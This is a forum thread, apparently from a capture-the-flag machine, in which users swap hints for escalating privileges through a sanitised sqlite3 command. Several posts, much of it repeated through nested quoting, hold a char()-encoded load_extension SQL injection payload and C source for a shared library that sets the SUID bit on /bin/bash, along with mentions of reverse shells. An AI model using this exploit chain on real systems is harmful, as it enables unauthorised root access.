[CiccioFa]

Hi guys ! i m trying to debug the suid anyone got the sanitzation exploit work?

I dont know what use to bypass the sanitization, someone said ASCII but ive never used it to work on SQL+bash

[blade33]

Hi guys ! i m trying to debug the suid anyone got the sanitzation exploit work?

I dont know what use to bypass the sanitization, someone said ASCII but ive never used it to work on SQL+bash

line = "./1"
print("\"+load_extension(char(" + ",".join(map(str, map(ord, line))) + "))+\"")

then build a shared library and move it to /home/tom/

[CiccioFa]

Hi guys ! i m trying to debug the suid anyone got the sanitzation exploit work?

I dont know what use to bypass the sanitization, someone said ASCII but ive never used it to work on SQL+bash

line = "./1"
print("\"+load_extension(char(" + ",".join(map(str, map(ord, line))) + ")\"")

then build a shared library and move it to /home/tom/

How should i use it? never build and used shared library for exploit

[blade33]

Hi guys ! i m trying to debug the suid anyone got the sanitzation exploit work?

I dont know what use to bypass the sanitization, someone said ASCII but ive never used it to work on SQL+bash

line = "./1"
print("\"+load_extension(char(" + ",".join(map(str, map(ord, line))) + ")\"")

then build a shared library and move it to /home/tom/

How should i use it? never build and used shared library for exploit

wdym how u should use it? if you found where to put the load_extension thing then just put it there.
if your asking about how to build a shared library then here it is:

//gcc -shared name.c -o name.so -nostartfiles -fPIC

#include <stdlib.h>
#include <unistd.h>

void _init() {
    setuid(0);
    setgid(0);
    system("/usr/bin/chmod +s /bin/bash");
}

[r4yl3x]

Hi guys ! i m trying to debug the suid anyone got the sanitzation exploit work?

I dont know what use to bypass the sanitization, someone said ASCII but ive never used it to work on SQL+bash

line = "./1"
print("\"+load_extension(char(" + ",".join(map(str, map(ord, line))) + ")\"")

then build a shared library and move it to /home/tom/

How should i use it? never build and used shared library for exploit

Hi, do you mean to put this in the username field of the activate user or what? i've tried thsat but nothing

[blade33]

Hi guys ! i m trying to debug the suid anyone got the sanitzation exploit work?

I dont know what use to bypass the sanitization, someone said ASCII but ive never used it to work on SQL+bash

line = "./1"
print("\"+load_extension(char(" + ",".join(map(str, map(ord, line))) + ")\"")

then build a shared library and move it to /home/tom/

How should i use it? never build and used shared library for exploit

Hi, do you mean to put this in the username field of the activate user or what? i've tried thsat but nothing

yeah, it works for me, chmod +x your .so lib and check your payload

---

Hi guys ! i m trying to debug the suid anyone got the sanitzation exploit work?

I dont know what use to bypass the sanitization, someone said ASCII but ive never used it to work on SQL+bash

line = "./1"
print("\"+load_extension(char(" + ",".join(map(str, map(ord, line))) + ")\"")

then build a shared library and move it to /home/tom/

How should i use it? never build and used shared library for exploit

open your dms tho, i cant reply

[CiccioFa]

I dont know what use to bypass the sanitization, someone said ASCII but ive never used it to work on SQL+bash

line = "./1"
print("\"+load_extension(char(" + ",".join(map(str, map(ord, line))) + ")\"")

then build a shared library and move it to /home/tom/

How should i use it? never build and used shared library for exploit

Hi, do you mean to put this in the username field of the activate user or what? i've tried thsat but nothing

yeah, it works for me, chmod +x your .so lib and check your payload

---

Hi guys ! i m trying to debug the suid anyone got the sanitzation exploit work?

I dont know what use to bypass the sanitization, someone said ASCII but ive never used it to work on SQL+bash

line = "./1"
print("\"+load_extension(char(" + ",".join(map(str, map(ord, line))) + ")\"")

then build a shared library and move it to /home/tom/

How should i use it? never build and used shared library for exploit

open your dms tho, i cant reply

done

[pizzaguy]

Hi guys, I've managed to get to the root part, checked all the paths for the "cli" file, but no luck. Checking now the binary with hexedit, but it seems  that I'm not getting where I should put my payload to extract the users from db or where to edit it, can someone help?

[notforothers]

stuck to bypass / on `load_extension`, because it limit 40 chars, any hit?

How do you know that we have to use load_extension? I've rooted using this method but where is the thread that I'm missing. PM or reply would be awesome.

[Pepegrillo]

Hi guys, I've managed to get to the root part, checked all the paths for the "cli" file, but no luck. Checking now the binary with hexedit, but it seems  that I'm not getting where I should put my payload to extract the users from db or where to edit it, can someone help?

When you got the binary analyze it with Ghidra and when you go through the functions you'll find in the main the user/password to start the cli. In the main_menu check the case5 their is a activate_user method with a SQLi

"/usr/bin/sqlite3 /var/www/DoodleGrive/db.sqlite3 -line \'UPDATE accounts_customuser SE T is_active=1 WHERE username=\"%s\";\'"

Check out Run-Time Loadable Extensions and write your extension which copy out root.txt, reverse shell,suid bash...

HINT: Check out the /tmp folder maybe some other has done it already.

Hi!.. thanks for the explanation. I saw that you told us, I created the shared library, but i cannot put correctly the sqli, because the sanitize functions keeps removing the spaces and semicolon, i noticed that i can use the TAB key, but the problem is with the semicolon. What do you suggest ?

Thanks!!